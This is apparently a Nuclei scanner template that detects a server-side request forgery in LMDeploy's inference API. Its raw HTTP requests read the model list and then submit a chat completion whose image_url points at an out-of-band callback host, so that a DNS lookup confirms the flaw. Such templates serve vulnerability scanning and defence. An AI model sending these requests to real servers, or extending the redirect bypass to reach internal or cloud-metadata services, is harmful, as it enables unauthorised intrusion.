id: CVE-2026-63764

info:
  name: "LMDeploy - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    LMDeploy through 0.14.0 exposes an OpenAI-compatible inference API server whose
    media handler (_load_http_url in connection.py) fetches image_url values supplied
    in a chat completions request. The private-IP guard validates only the originally
    submitted URL and does not re-validate the host after following HTTP redirects, so
    an unauthenticated client can point image_url at an attacker-controlled host and
    reach internal services or cloud-metadata endpoints. This template first reads the
    served model name from /v1/models, then submits a chat completion whose image_url
    references a unique out-of-band host; a resulting DNS interaction confirms the
    server performs the attacker-directed fetch.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-63764&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=lmdeploy&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
    cvss-score: 7.7
    cve-id: CVE-2026-63764
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,lmdeploy,ssrf,oast
http:
  - raw:
      - |
        GET /v1/models HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"model":"{{model}}","messages":[{"role":"user","content":[{"type":"text","text":"describe this image"},{"type":"image_url","image_url":{"url":"http://{{interactsh-url}}/vedas.png"}}]}],"max_tokens":1}

    extractors:
      - type: regex
        name: model
        part: body
        internal: true
        regex:
          - '"id"\s*:\s*"([^"]+)"'
        group: 1

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"